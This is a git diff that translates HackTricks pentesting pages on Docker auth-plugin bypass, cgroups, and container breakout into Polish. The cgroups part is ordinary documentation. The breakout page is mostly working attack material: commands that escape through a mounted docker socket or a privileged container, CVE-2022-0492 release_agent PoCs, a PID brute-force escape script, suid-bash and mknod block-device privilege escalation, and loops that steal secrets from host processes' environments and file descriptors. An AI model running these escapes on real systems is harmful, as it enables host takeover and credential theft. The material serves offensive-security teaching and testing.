the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! +## Wyłączanie wtyczki +Jeśli **sysadmin** **zapomniał** **zabronić** możliwości **wyłączenia** **wtyczki**, możesz to wykorzystać, aby całkowicie ją wyłączyć! ```bash docker plugin list #Enumerate plugins @@ -186,10 +167,9 @@ docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot ``` +Pamiętaj, aby **ponownie włączyć wtyczkę po eskalacji**, inaczej **ponowne uruchomienie usługi docker nie zadziała**! -Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! - -## Auth Plugin Bypass writeups +## Opisy obejścia wtyczki autoryzacji - [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index 82614f093..aab40344a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups. +**Linux Control Groups**, czyli **cgroups**, to funkcja jądra Linux, która umożliwia alokację, ograniczenie i priorytetyzację zasobów systemowych, takich jak CPU, pamięć i I/O dysku, wśród grup procesów. Oferują mechanizm do **zarządzania i izolowania wykorzystania zasobów** przez kolekcje procesów, co jest korzystne w takich celach jak ograniczenie zasobów, izolacja obciążenia i priorytetyzacja zasobów wśród różnych grup procesów. -There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including: +Istnieją **dwie wersje cgroups**: wersja 1 i wersja 2. Obie mogą być używane jednocześnie w systemie. Główna różnica polega na tym, że **cgroups wersja 2** wprowadza **hierarchiczną, drzewiastą strukturę**, umożliwiając bardziej zniuansowaną i szczegółową dystrybucję zasobów wśród grup procesów. Dodatkowo, wersja 2 wprowadza różne ulepszenia, w tym: -In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance. +Oprócz nowej hierarchicznej organizacji, cgroups wersja 2 wprowadziła również **kilka innych zmian i ulepszeń**, takich jak wsparcie dla **nowych kontrolerów zasobów**, lepsze wsparcie dla aplikacji starszej generacji oraz poprawioną wydajność. -Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern. - -You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\. You can start by looking at your shell’s cgroups with this command: +Ogólnie rzecz biorąc, cgroups **wersja 2 oferuje więcej funkcji i lepszą wydajność** niż wersja 1, ale ta ostatnia może być nadal używana w niektórych scenariuszach, gdzie zgodność ze starszymi systemami jest istotna. +Możesz wylistować cgroups v1 i v2 dla dowolnego procesu, przeglądając jego plik cgroup w /proc/\. Możesz zacząć od sprawdzenia cgroups swojego powłoki za pomocą tego polecenia: ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -28,60 +27,53 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` +Struktura wyjścia jest następująca: -The output structure is as follows: +- **Numery 2–12**: cgroups v1, z każdą linią reprezentującą inny cgroup. Kontrolery dla nich są określone obok numeru. +- **Numer 1**: Również cgroups v1, ale wyłącznie do celów zarządzania (ustawione przez np. systemd) i nie ma kontrolera. +- **Numer 0**: Reprezentuje cgroups v2. Żadne kontrolery nie są wymienione, a ta linia jest wyłączna dla systemów działających tylko na cgroups v2. +- **Nazwy są hierarchiczne**, przypominające ścieżki plików, wskazując na strukturę i relacje między różnymi cgroups. +- **Nazwy takie jak /user.slice lub /system.slice** określają kategoryzację cgroups, przy czym user.slice zazwyczaj dotyczy sesji logowania zarządzanych przez systemd, a system.slice dotyczy usług systemowych. -- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number. -- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller. -- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2. -- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups. -- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services. +### Wyświetlanie cgroups -### Viewing cgroups - -The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup. +System plików jest zazwyczaj wykorzystywany do uzyskiwania dostępu do **cgroups**, różniąc się od interfejsu wywołań systemowych Unix tradycyjnie używanego do interakcji z jądrem. Aby zbadać konfigurację cgroup powłoki, należy sprawdzić plik **/proc/self/cgroup**, który ujawnia cgroup powłoki. Następnie, przechodząc do katalogu **/sys/fs/cgroup** (lub **`/sys/fs/cgroup/unified`**) i znajdując katalog, który dzieli nazwę cgroup, można zaobserwować różne ustawienia i informacje o wykorzystaniu zasobów związane z cgroup. ![Cgroup Filesystem](<../../../images/image (1128).png>) -The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information. +Kluczowe pliki interfejsu dla cgroups są poprzedzone prefiksem **cgroup**. Plik **cgroup.procs**, który można przeglądać za pomocą standardowych poleceń, takich jak cat, wymienia procesy w cgroup. Inny plik, **cgroup.threads**, zawiera informacje o wątkach. ![Cgroup Procs](<../../../images/image (281).png>) -Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup. +Cgroups zarządzające powłokami zazwyczaj obejmują dwa kontrolery, które regulują wykorzystanie pamięci i liczbę procesów. Aby interagować z kontrolerem, należy skonsultować się z plikami noszącymi prefiks kontrolera. Na przykład, **pids.current** byłby odniesiony, aby ustalić liczbę wątków w cgroup. ![Cgroup Memory](<../../../images/image (677).png>) -The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy. +Wskazanie **max** w wartości sugeruje brak konkretnego limitu dla cgroup. Jednak z powodu hierarchicznej natury cgroups, limity mogą być narzucane przez cgroup na niższym poziomie w hierarchii katalogów. -### Manipulating and Creating cgroups - -Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process: +### Manipulowanie i tworzenie cgroups +Procesy są przypisywane do cgroups przez **zapisanie ich identyfikatora procesu (PID) do pliku `cgroup.procs`**. Wymaga to uprawnień roota. Na przykład, aby dodać proces: ```bash echo [pid] > cgroup.procs ``` - -Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup: - +Podobnie, **modyfikacja atrybutów cgroup, takich jak ustawienie limitu PID**, odbywa się poprzez zapisanie żądanej wartości do odpowiedniego pliku. Aby ustawić maksymalnie 3 000 PID-ów dla cgroup: ```bash echo 3000 > pids.max ``` +**Tworzenie nowych cgroups** polega na utworzeniu nowego podkatalogu w hierarchii cgroup, co powoduje, że jądro automatycznie generuje niezbędne pliki interfejsu. Chociaż cgroups bez aktywnych procesów można usunąć za pomocą `rmdir`, należy być świadomym pewnych ograniczeń: -**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints: - -- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy). -- **A cgroup cannot possess a controller absent in its parent**. -- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup: - +- **Procesy mogą być umieszczane tylko w cgroups liściowych** (tj. najbardziej zagnieżdżonych w hierarchii). +- **Cgroup nie może posiadać kontrolera, który nie występuje w jej rodzicu**. +- **Kontrolery dla cgroups podrzędnych muszą być wyraźnie zadeklarowane** w pliku `cgroup.subtree_control`. Na przykład, aby włączyć kontrolery CPU i PID w cgroup podrzędnej: ```bash echo "+cpu +pids" > cgroup.subtree_control ``` +**Root cgroup** jest wyjątkiem od tych zasad, pozwalając na bezpośrednie umieszczanie procesów. Może to być użyte do usunięcia procesów z zarządzania systemd. -The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management. +**Monitorowanie użycia CPU** w cgroup jest możliwe poprzez plik `cpu.stat`, który wyświetla całkowity czas CPU zużyty, co jest pomocne w śledzeniu użycia w podprocesach usługi: -**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses: - -

CPU usage statistics as shown in the cpu.stat file

+

Statystyki użycia CPU przedstawione w pliku cpu.stat

## References diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index e19fddb22..76432e30d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,35 +2,24 @@ {{#include ../../../../banners/hacktricks-training.md}} -
+## Automatyczna enumeracja i ucieczka -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Może również **enumerować kontenery** +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): To narzędzie jest dość **przydatne do enumeracji kontenera, w którym się znajdujesz, a nawet próby automatycznej ucieczki** +- [**amicontained**](https://github.com/genuinetools/amicontained): Przydatne narzędzie do uzyskania uprawnień, jakie ma kontener, aby znaleźć sposoby na ucieczkę z niego +- [**deepce**](https://github.com/stealthcopter/deepce): Narzędzie do enumeracji i ucieczki z kontenerów +- [**grype**](https://github.com/anchore/grype): Uzyskaj CVE zawarte w oprogramowaniu zainstalowanym w obrazie -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - -## Automatic Enumeration & Escape - -- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** -- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it -- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers -- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image - -## Mounted Docker Socket Escape - -If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ -This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. +## Ucieczka z zamontowanego gniazda Docker +Jeśli w jakiś sposób odkryjesz, że **gniazdo docker jest zamontowane** wewnątrz kontenera docker, będziesz w stanie się z niego wydostać.\ +Zwykle zdarza się to w kontenerach docker, które z jakiegoś powodu muszą łączyć się z demonem docker, aby wykonać działania. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` - -In this case you can use regular docker commands to communicate with the docker daemon: - +W tym przypadku możesz używać standardowych poleceń docker do komunikacji z demonem dockera: ```bash #List images to use one docker images @@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` +> [!NOTE] +> W przypadku gdy **gniazdo dockera znajduje się w nieoczekiwanym miejscu**, nadal możesz się z nim komunikować, używając polecenia **`docker`** z parametrem **`-H unix:///path/to/docker.sock`** + +Demon Dockera może również [nasłuchiwać na porcie (domyślnie 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) lub w systemach opartych na Systemd, komunikacja z demonem Dockera może odbywać się przez gniazdo Systemd `fd://`. > [!NOTE] -> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** - -Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. - -> [!NOTE] -> Additionally, pay attention to the runtime sockets of other high-level runtimes: +> Dodatkowo, zwróć uwagę na gniazda uruchomieniowe innych wysokopoziomowych środowisk: > > - dockershim: `unix:///var/run/dockershim.sock` > - containerd: `unix:///run/containerd/containerd.sock` @@ -60,25 +48,23 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../ > - rktlet: `unix:///var/run/rktlet.sock` > - ... -## Capabilities Abuse Escape +## Wykorzystanie uprawnień do ucieczki -You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** - -You can check currently container capabilities using **previously mentioned automatic tools** or: +Powinieneś sprawdzić uprawnienia kontenera, jeśli ma któreś z następujących: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +Możesz sprawdzić aktualne uprawnienia kontenera, używając **wcześniej wspomnianych automatycznych narzędzi** lub: ```bash capsh --print ``` - -In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: +Na poniższej stronie możesz **dowiedzieć się więcej o możliwościach linuxa** i jak je wykorzystać do ucieczki/eskalacji uprawnień: {{#ref}} ../../linux-capabilities.md {{#endref}} -## Escape from Privileged Containers +## Ucieczka z uprzywilejowanych kontenerów -A privileged container can be created with the flag `--privileged` or disabling specific defenses: +Uprzywilejowany kontener może być stworzony z flagą `--privileged` lub poprzez wyłączenie konkretnych zabezpieczeń: - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling - `--cgroupns=host` - `Mount /dev` -The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts. +Flaga `--privileged` znacznie obniża bezpieczeństwo kontenera, oferując **nieograniczony dostęp do urządzeń** i omijając **kilka zabezpieczeń**. Aby uzyskać szczegółowy opis, zapoznaj się z dokumentacją na temat pełnych skutków `--privileged`. {{#ref}} ../docker-privileged.md {{#endref}} -### Privileged + hostPID +### Uprzywilejowany + hostPID -With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` - -Test it in a container executing: +Z tymi uprawnieniami możesz po prostu **przenieść się do przestrzeni nazw procesu działającego na hoście jako root** jak init (pid:1) po prostu uruchamiając: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Przetestuj to w kontenerze wykonując: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` - ### Privileged -Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**. - -Test the following bypasses in a container executing: +Tylko z flagą privileged możesz spróbować **uzyskać dostęp do dysku hosta** lub spróbować **uciec, wykorzystując release_agent lub inne ucieczki**. +Przetestuj następujące obejścia w kontenerze, wykonując: ```bash docker run --rm -it --privileged ubuntu bash ``` +#### Montowanie dysku - Poc1 -#### Mounting Disk - Poc1 - -Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. +Dobrze skonfigurowane kontenery dockerowe nie pozwolą na polecenia takie jak **fdisk -l**. Jednak w przypadku źle skonfigurowanego polecenia docker, gdzie określono flagę `--privileged` lub `--device=/dev/sda1` z wielkimi literami, możliwe jest uzyskanie uprawnień do zobaczenia dysku hosta. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -So to take over the host machine, it is trivial: - +Aby przejąć maszynę hosta, jest to trywialne: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` +I oto! Teraz możesz uzyskać dostęp do systemu plików hosta, ponieważ jest zamontowany w folderze `/mnt/hola`. -And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. - -#### Mounting Disk - Poc2 - -Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: +#### Montowanie dysku - Poc2 +W obrębie kontenera, atakujący może próbować uzyskać dalszy dostęp do podstawowego systemu operacyjnego hosta za pomocą zapisywalnej objętości hostPath utworzonej przez klaster. Poniżej znajdują się niektóre powszechne rzeczy, które możesz sprawdzić w kontenerze, aby zobaczyć, czy możesz wykorzystać ten wektor ataku: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` - -#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 - +#### Ucieczka z uprawnieniami Wykorzystywanie istniejącego release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 ```bash:Initial PoC # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` - -#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - +#### Ucieczka z uprawnieniami Wykorzystanie stworzonego release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - -Find an **explanation of the technique** in: +Znajdź **wyjaśnienie techniki** w: {{#ref}} docker-release_agent-cgroups-escape.md {{#endref}} -#### Privileged Escape Abusing release_agent without known the relative path - PoC3 +#### Ucieczka z uprawnieniami wykorzystująca release_agent bez znajomości ścieżki względnej - PoC3 -In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique: +W poprzednich exploitach **ujawniona jest absolutna ścieżka kontenera w systemie plików hosta**. Jednak nie zawsze tak jest. W przypadkach, gdy **nie znasz absolutnej ścieżki kontenera w hoście**, możesz użyć tej techniki: {{#ref}} release_agent-exploit-relative-paths-to-pids.md {{#endref}} - ```bash #!/bin/sh @@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -309,9 +282,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +Wykonanie PoC w uprzywilejowanym kontenerze powinno dać wynik podobny do: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -339,37 +310,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` +#### Ucieczka z uprawnieniami poprzez nadużywanie wrażliwych montażów -#### Privileged Escape Abusing Sensitive Mounts +Istnieje kilka plików, które mogą być zamontowane i które dają **informacje o podstawowym hoście**. Niektóre z nich mogą nawet wskazywać **coś, co ma być wykonane przez hosta, gdy coś się wydarzy** (co pozwoli atakującemu uciec z kontenera).\ +Nadużycie tych plików może pozwolić na: -There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ -The abuse of these files may allow that: - -- release_agent (already covered before) +- release_agent (już omówione wcześniej) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) - [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern) - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -However, you can find **other sensitive files** to check for in this page: +Jednak możesz znaleźć **inne wrażliwe pliki**, które warto sprawdzić na tej stronie: {{#ref}} sensitive-mounts.md {{#endref}} -### Arbitrary Mounts - -In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys… +### Dowolne montaże +W wielu przypadkach odkryjesz, że **kontener ma zamontowany jakiś wolumin z hosta**. Jeśli ten wolumin nie został poprawnie skonfigurowany, możesz być w stanie **uzyskać dostęp/modyfikować wrażliwe dane**: Czytać sekrety, zmieniać ssh authorized_keys… ```bash docker run --rm -it -v /:/host ubuntu bash ``` +### Eskalacja uprawnień z 2 powłokami i montowaniem hosta -### Privilege Escalation with 2 shells and host mount - -If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\ -You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc. - +Jeśli masz dostęp jako **root wewnątrz kontenera**, który ma zamontowany jakiś folder z hosta i udało ci się **uciec jako użytkownik bez uprawnień do hosta** oraz masz dostęp do odczytu zamontowanego folderu.\ +Możesz stworzyć **plik bash suid** w **zamontowanym folderze** wewnątrz **kontenera** i **wykonać go z hosta**, aby uzyskać wyższe uprawnienia. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` +### Eskalacja uprawnień z 2 powłokami -### Privilege Escalation with 2 shells +Jeśli masz dostęp jako **root wewnątrz kontenera** i **uciekłeś jako użytkownik bez uprawnień do hosta**, możesz wykorzystać obie powłoki do **eskalacji uprawnień wewnątrz hosta**, jeśli masz zdolność MKNOD wewnątrz kontenera (jest to domyślne) jak [**wyjaśniono w tym poście**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +Dzięki takiej zdolności użytkownik root wewnątrz kontenera ma prawo do **tworzenia plików urządzeń blokowych**. Pliki urządzeń to specjalne pliki, które są używane do **dostępu do sprzętu i modułów jądra**. Na przykład, plik urządzenia blokowego /dev/sda daje dostęp do **odczytu surowych danych na dysku systemu**. -If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**. - -Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container. - -**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +Docker chroni przed niewłaściwym użyciem plików urządzeń blokowych wewnątrz kontenerów, egzekwując politykę cgroup, która **blokuje operacje odczytu/zapisu plików urządzeń blokowych**. Niemniej jednak, jeśli plik urządzenia blokowego jest **tworzony wewnątrz kontenera**, staje się dostępny z zewnątrz kontenera poprzez katalog **/proc/PID/root/**. Ten dostęp wymaga, aby **właściciel procesu był taki sam** zarówno wewnątrz, jak i na zewnątrz kontenera. +**Przykład eksploatacji** z tego [**opisu**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash # On the container as root cd / @@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` - ### hostPID -If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: - +Jeśli masz dostęp do procesów hosta, będziesz mógł uzyskać dostęp do wielu wrażliwych informacji przechowywanych w tych procesach. Uruchom laboratorium testowe: ``` docker run --rm -it --pid=host ubuntu bash ``` +Na przykład będziesz mógł wylistować procesy używając czegoś takiego jak `ps auxn` i szukać wrażliwych szczegółów w poleceniach. -For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. - -Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: - +Następnie, ponieważ **masz dostęp do każdego procesu hosta w /proc/, możesz po prostu ukraść ich sekrety środowiskowe** uruchamiając: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` - -You can also **access other processes file descriptors and read their open files**: - +Możesz również **uzyskać dostęp do deskryptorów plików innych procesów i odczytać ich otwarte pliki**: ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` - -You can also **kill processes and cause a DoS**. +Możesz również **zabić procesy i spowodować DoS**. > [!WARNING] -> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** +> Jeśli w jakiś sposób masz uprzywilejowany **dostęp do procesu poza kontenerem**, możesz uruchomić coś takiego jak `nsenter --target --all` lub `nsenter --target --mount --net --pid --cgroup`, aby **uruchomić powłokę z tymi samymi ograniczeniami ns** (mam nadzieję, że żadnymi) **jak ten proces.** ### hostNetwork - ``` docker run --rm -it --network=host ubuntu bash ``` +Jeśli kontener został skonfigurowany z użyciem Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), stos sieciowy tego kontenera nie jest izolowany od hosta Docker (kontener dzieli przestrzeń nazw sieci hosta) i kontener nie otrzymuje przydzielonego własnego adresu IP. Innymi słowy, **kontener wiąże wszystkie usługi bezpośrednio z adresem IP hosta**. Ponadto kontener może **przechwytywać WSZYSTKI ruch sieciowy, który host** wysyła i odbiera na współdzielonym interfejsie `tcpdump -i eth0`. -If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. +Na przykład, możesz to wykorzystać do **podsłuchiwania i nawet fałszowania ruchu** między hostem a instancją metadanych. -For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. - -Like in the following examples: +Jak w poniższych przykładach: - [Writeup: How to contact Google SRE: Dropping a shell in cloud 